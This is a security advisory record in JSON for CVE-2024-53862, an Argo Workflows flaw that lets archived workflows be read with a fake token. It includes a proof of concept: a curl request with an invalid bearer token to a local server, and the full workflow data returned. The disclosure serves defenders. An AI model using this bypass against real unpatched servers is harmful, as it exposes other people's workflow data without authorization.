1 line
11 KiB
JSON
1 line
11 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-h36c-m3rf-34h9","published":"2024-12-02T22:17:55Z","modified":"2026-09-10T03:50:21.588368904Z","aliases":["BIT-argo-workflows-2024-53862","CVE-2024-53862","GO-2024-3303"],"summary":"Access to Archived Argo Workflows with Fake Token in `client` mode","details":"### Summary\n\nWhen using `--auth-mode=client`, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}`\n\nWhen using `--auth-mode=sso`, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}`\n\n### Details\n\nNo authentication is performed by the Server itself on `client` tokens[^1]. Authentication & authorization is instead delegated to the k8s API server.\nHowever, the [Workflow Archive](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/workflowarchive/archived_workflow_server.go) does not interact with k8s, and so any token that [_looks_](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/mode.go#L37) [valid](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/gatekeeper.go#L185) will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does [the equivalent of a `kubectl auth can-i`](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/workflowarchive/archived_workflow_server.go#L50) check for respective methods.\n\nIn #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on [these lines](https://github.com/argoproj/argo-workflows/pull/13021/files#diff-a5b255abaceddc9cc20bf6da6ae92c3a5d3605d94366af503ed754c079a1171aL668-R715), allowing archived workflows to be retrieved with a fake token.\n\n### PoC\n\n#### Configuration\n\nController `ConfigMap`:\n```yaml\n config: |\n persistence:\n archive: true\n postgresql:\n database: argoworkflows\n host: db-host\n passwordSecret:\n key: postgresPassword\n name: argo-wf-postgres-credentials\n port: 5432\n tableName: argo_workflows\n userNameSecret:\n key: username\n name: argo-wf-postgres-credentials\n```\n\nServer: `--auth-mode=client`\n\n#### Reproduction\n\nVisit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed.\n\nFor example, directly query the API and retrieve the workflow data (where `Bearer thisisatest` is not a valid token):\n\n```sh\ncurl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g\n```\n\n<details><summary>Results in a returned workflow:</summary>\n\n```\n* Host localhost:8000 was resolved.\n* IPv6: ::1\n* IPv4: 127.0.0.1\n* Trying [::1]:8000...\n* Connected to localhost (::1) port 8000\n> GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1\n> Host: localhost:8000\n> User-Agent: curl/8.7.1\n> Accept: */*\n> Authorization: Bearer thisisatest\n>\n* Request completely sent off\n< HTTP/1.1 200 OK\n< Content-Type: application/json\n< Grpc-Metadata-Content-Type: application/grpc\n< X-Ratelimit-Limit: 1000\n< X-Ratelimit-Remaining: 999\n< X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC\n< Date: Mon, 19 Aug 2024 20:44:26 GMT\n< Transfer-Encoding: chunked\n<\n* Connection #0 to host localhost left intact\n{\n \"metadata\": {\n \"name\": \"hello-world-7tv5g\",\n \"generateName\": \"hello-world-\",\n \"namespace\": \"argo\",\n \"uid\": \"e5868ab1-f820-4a9e-9407-162346a4ccb4\",\n \"resourceVersion\": \"9982\",\n \"generation\": 3,\n \"creationTimestamp\": \"2024-08-13T23:59:20Z\",\n \"labels\": {\n \"workflows.argoproj.io/archive-strategy\": \"false\",\n \"workflows.argoproj.io/completed\": \"true\",\n \"workflows.argoproj.io/phase\": \"Succeeded\",\n \"workflows.argoproj.io/workflow-archiving-status\": \"Persisted\"\n },\n \"annotations\": {\n \"workflows.argoproj.io/description\": \"This is a simple hello world example.\\n\",\n \"workflows.argoproj.io/pod-name-format\": \"v2\"\n },\n \"managedFields\": [\n {\n \"manager\": \"argo\",\n \"operation\": \"Update\",\n \"apiVersion\": \"argoproj.io/v1alpha1\",\n \"time\": \"2024-08-13T23:59:20Z\",\n \"fieldsType\": \"FieldsV1\",\n \"fieldsV1\": {\n \"f:metadata\": {\n \"f:annotations\": {\n \".\": {},\n \"f:workflows.argoproj.io/description\": {}\n },\n \"f:generateName\": {},\n \"f:labels\": {\n \".\": {},\n \"f:workflows.argoproj.io/archive-strategy\": {}\n }\n },\n \"f:spec\": {}\n }\n },\n {\n \"manager\": \"workflow-controller\",\n \"operation\": \"Update\",\n \"apiVersion\": \"argoproj.io/v1alpha1\",\n \"time\": \"2024-08-13T23:59:30Z\",\n \"fieldsType\": \"FieldsV1\",\n \"fieldsV1\": {\n \"f:metadata\": {\n \"f:annotations\": {\n \"f:workflows.argoproj.io/pod-name-format\": {}\n },\n \"f:labels\": {\n \"f:workflows.argoproj.io/completed\": {},\n \"f:workflows.argoproj.io/phase\": {},\n \"f:workflows.argoproj.io/workflow-archiving-status\": {}\n }\n },\n \"f:status\": {}\n }\n }\n ]\n },\n \"spec\": {\n \"templates\": [\n {\n \"name\": \"hello-world\",\n \"inputs\": {},\n \"outputs\": {},\n \"metadata\": {},\n \"container\": {\n \"name\": \"\",\n \"image\": \"busybox\",\n \"command\": [\n \"echo\"\n ],\n \"args\": [\n \"hello world\"\n ],\n \"resources\": {}\n }\n }\n ],\n \"entrypoint\": \"hello-world\",\n \"arguments\": {},\n \"serviceAccountName\": \"argo-workflow\"\n },\n \"status\": {\n \"phase\": \"Succeeded\",\n \"startedAt\": \"2024-08-13T23:59:20Z\",\n \"finishedAt\": \"2024-08-13T23:59:30Z\",\n \"progress\": \"1/1\",\n \"nodes\": {\n \"hello-world-7tv5g\": {\n \"id\": \"hello-world-7tv5g\",\n \"name\": \"hello-world-7tv5g\",\n \"displayName\": \"hello-world-7tv5g\",\n \"type\": \"Pod\",\n \"templateName\": \"hello-world\",\n \"templateScope\": \"local/hello-world-7tv5g\",\n \"phase\": \"Succeeded\",\n \"startedAt\": \"2024-08-13T23:59:20Z\",\n \"finishedAt\": \"2024-08-13T23:59:24Z\",\n \"progress\": \"1/1\",\n \"resourcesDuration\": {\n \"cpu\": 0,\n \"memory\": 3\n },\n \"outputs\": {\n \"exitCode\": \"0\"\n },\n \"hostNodeName\": \"kind-control-plane\"\n }\n },\n \"conditions\": [\n {\n \"type\": \"PodRunning\",\n \"status\": \"False\"\n },\n {\n \"type\": \"Completed\",\n \"status\": \"True\"\n }\n ],\n \"resourcesDuration\": {\n \"cpu\": 0,\n \"memory\": 3\n },\n \"artifactRepositoryRef\": {\n \"default\": true,\n \"artifactRepository\": {}\n },\n \"artifactGCStatus\": {\n \"notSpecified\": true\n },\n \"taskResultsCompletionStatus\": {\n \"hello-world-7tv5g\": true\n }\n }\n}%\n```\n\n</details>\n\n\n### Impact\n\nUsers of the Server with `--auth-mode=client` and with `persistence.archive: true` are vulnerable to having Archived Workflows retrieved with a fake or spoofed token.\n\nUsers of the Server with `--auth-mode=sso` and with `persistence.archive: true` are vulnerable to users being able to access workflows they could not access before archiving.\n\n[^1]: `sso` tokens, on the other hand, are [immediately \"authorized\"](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/gatekeeper.go#L207). The naming in the codebase is a bit confusing; it would be more appropriate to say \"authenticated\" in this case, as authorization is via SSO RBAC / SA matching / k8s API server. In this same section of the codebase, the `client` tokens are not authenticated, they are only validated. Authentication and authorization is done simultaneously for `client` tokens via the k8s API server.","affected":[{"package":{"name":"github.com/argoproj/argo-workflows/v3","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-workflows/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.5.7"},{"fixed":"3.5.13"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-h36c-m3rf-34h9/GHSA-h36c-m3rf-34h9.json"}},{"package":{"name":"github.com/argoproj/argo-workflows/v3","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-workflows/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.6.0"},{"fixed":"3.6.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-h36c-m3rf-34h9/GHSA-h36c-m3rf-34h9.json"}}],"references":[{"type":"WEB","url":"https://github.com/argoproj/argo-workflows/security/advisories/GHSA-h36c-m3rf-34h9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-53862"},{"type":"WEB","url":"https://github.com/argoproj/argo-workflows/pull/13021/files#diff-a5b255abaceddc9cc20bf6da6ae92c3a5d3605d94366af503ed754c079a1171aL668-R715"},{"type":"PACKAGE","url":"https://github.com/argoproj/argo-workflows"}],"database_specific":{"cwe_ids":["CWE-200"],"github_reviewed":true,"github_reviewed_at":"2024-12-02T22:17:55Z","nvd_published_at":"2024-12-02T16:15:14Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N"}]} |